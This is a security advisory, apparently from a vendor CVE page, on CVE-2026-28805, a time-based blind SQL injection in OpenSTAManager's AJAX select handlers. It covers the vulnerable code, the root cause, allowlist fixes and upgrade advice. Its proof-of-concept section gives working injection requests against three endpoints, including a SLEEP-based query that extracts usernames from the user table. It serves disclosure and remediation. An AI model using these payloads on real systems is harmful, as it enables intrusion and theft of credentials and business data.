CVE-2026-28805 is a high-severity (CVSS 8.8) SQL Injection vulnerability in devcode-it/openstamanager. A fix is available for devcode-it/openstamanager — see the affected versions and patch details below.
OpenSTAManager: Time-Based Blind SQL Injection via `options[stato]` Parameter
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-28805.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-28805 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
devcode-it/openstamanagerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Description
Multiple AJAX select handlers in OpenSTAManager <= 2.10.1 are vulnerable to Time-Based Blind SQL Injection through the options[stato] GET parameter. The user-supplied value is read from $superselect['stato'] and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation.
An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database.
Affected Endpoints
Three modules share the same vulnerability pattern:
1. Preventivi (Quotes) - Primary
- Endpoint:
GET /ajax_select.php?op=preventivi - File:
modules/preventivi/ajax/select.php, line 60 - Required parameters:
options[idanagrafica](any valid ID)
Vulnerable code:
// modules/preventivi/ajax/select.php, lines 59-60
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
$where[] = '('.$stato.' = 1)';
The $stato variable is inserted as a bare expression inside parentheses. The resulting SQL fragment becomes ({user_input} = 1), allowing an attacker to break out of the expression and inject arbitrary SQL.
2. Ordini (Orders)
- Endpoint:
GET /ajax_select.php?op=ordini-cliente - File:
modules/ordini/ajax/select.php, line 52 - Required parameters:
options[idanagrafica](any valid ID)
Vulnerable code:
// modules/ordini/ajax/select.php, lines 51-52
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_fatturabile';
$where[] = '`or_statiordine`.'.$stato.' = 1';
The $stato variable is inserted as a column name reference. The resulting SQL fragment becomes `or_statiordine`.{user_input} = 1, allowing injection after the table-column reference.
3. Contratti (Contracts)
- Endpoint:
GET /ajax_select.php?op=contratti - File:
modules/contratti/ajax/select.php, line 57 - Required parameters:
options[idanagrafica](any valid ID)
Vulnerable code:
// modules/contratti/ajax/select.php, lines 56-57
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';
The $stato variable is inserted inside a subquery. The resulting SQL fragment becomes WHERE {user_input} = 1), allowing an attacker to close the subquery and inject into the outer query.
Root Cause Analysis
Data Flow
- The attacker sends a GET request with
options[stato]=<payload>to/ajax_select.php ajax_select.php(line 30) reads the value viafilter('options'), which applies HTMLPurifier sanitization- HTMLPurifier strips HTML tags and the
>character, but does NOT strip SQL keywords (SELECT,SLEEP,IF,UNION, etc.) or SQL-significant characters ((,),=,', etc.) - The sanitized value is passed to
AJAX::select()insrc/AJAX.php(line 40) AJAX::getSelectResults()assigns$superselect = $options(line 273) andrequires the module'sselect.phpfile (line 275)- The module's
select.phpreads$superselect['stato']and concatenates it directly into the$where[]array AJAX::selectResults()joins all WHERE elements withANDand executes the query viaQuery::executeAndCount()(line 120)
Why HTMLPurifier is Insufficient
HTMLPurifier is an HTML sanitization library designed to prevent XSS attacks. It is not an SQL injection prevention mechanism. Specifically:
- It does not strip SQL keywords:
SELECT,SLEEP,IF,UNION,FROM,WHERE - It does not strip SQL operators:
=,(,),,,+,-,* - It strips the
>character (used in HTML), which can be bypassed using MySQL'sGREATEST()function - It provides zero protection against SQL injection
Proof of Concept
Prerequisites
- A valid user account on the OpenSTAManager instance (any privilege level)
- Network access to the application
Step 1: Authenticate
POST /index.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
op=login&username=<user>&password=<pass>
Save the PHPSESSID cookie from the Set-Cookie response header.
Step 2: Verify Injection (SLEEP test)
Baseline request (normal response time ~200ms):
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=is_pianificabile HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>
Injection request (response time ~10 seconds):
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>
Expected result: The response is delayed by approximately 10 seconds, confirming that the SLEEP(10) function was executed by the database server. The response body in both cases is identical: {"results":[],"recordsFiltered":0}.
Step 3: Data Extraction (demonstrating impact)
Using binary search with time-based boolean conditions, an attacker can extract arbitrary data. The > character is stripped by HTMLPurifier, so the GREATEST() function is used as an equivalent:
Extract username length:
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1
This technique was used to successfully extract:
- Username:
admin(5 characters, extracted character by character) - Password hash prefix:
$2y$10$qAo04wNbhR9cpxjHzrtcnu...(bcrypt) - MySQL version:
8.3.0
PoC for Other Endpoints
Ordini (orders):
GET /ajax_select.php?op=ordini-cliente&options[idanagrafica]=1&options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1
Contratti (contracts):
GET /ajax_select.php?op=contratti&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1
Both endpoints show the same SLEEP-based timing delay, confirming the injection.
Impact
- Confidentiality: An attacker can extract the entire database contents, including user credentials (usernames and bcrypt password hashes), personal identifiable information (PII), financial records (invoices, quotes, contracts, payments), and application configuration.
- Integrity: With MySQL's
INSERT/UPDATEcapabilities via subqueries, an attacker may be able to modify data. - Availability: An attacker can execute
SLEEP()with large values or resource-intensive queries to cause denial of service.
Proposed Remediation
Option A: Allowlist Validation (Recommended)
Replace the direct concatenation with an allowlist of permitted column names:
// modules/preventivi/ajax/select.php — FIXED
$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile', 'is_concluso'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
? $superselect['stato']
: 'is_pianificabile';
$where[] = '('.$stato.' = 1)';
// modules/ordini/ajax/select.php — FIXED
$allowed_stati = ['is_fatturabile', 'is_evadibile', 'is_completato'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
? $superselect['stato']
: 'is_fatturabile';
$where[] = '`or_statiordine`.'.$stato.' = 1';
// modules/contratti/ajax/select.php — FIXED
$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile'];
$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)
? $superselect['stato']
: 'is_pianificabile';
$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';
This approach is recommended because the stato parameter represents a database column name (not a value), so prepared statements cannot be used here. The allowlist ensures only known-safe column names are accepted.
Option B: Regex Validation (Alternative)
If the set of column names is dynamic, validate the format strictly:
$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';
if (!preg_match('/^[a-z_]+$/i', $stato)) {
$stato = 'is_pianificabile'; // fallback to safe default
}
$where[] = '('.$stato.' = 1)';
This ensures only alphabetic characters and underscores are accepted, preventing any SQL injection.
Option C: Backtick Quoting (Supplementary)
In addition to validation, wrap the column name in backticks to treat it as an identifier:
$where[] = '(`'.str_replace('`', '', $stato).'` = 1)';
Note: This alone is insufficient without input validation but provides defense-in-depth.
Global Recommendation
Audit all usages of $superselect across the codebase. Any value from $superselect that is used as part of a SQL expression (not as a parameterized value) must be validated against an allowlist. The prepare() function is already used correctly in other parts of the code — the issue is specifically where $superselect values are used as column names or bare expressions.
Credits
Omar Ramirez
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | devcode-it/openstamanager | all versions | 2.10.2composer require devcode-it/openstamanager:^2.10.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for devcode-it/openstamanager, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update devcode-it/openstamanager to 2.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-28805 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-28805 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-28805. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-28805 in your dependencies?
O3 Security finds CVE-2026-28805 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.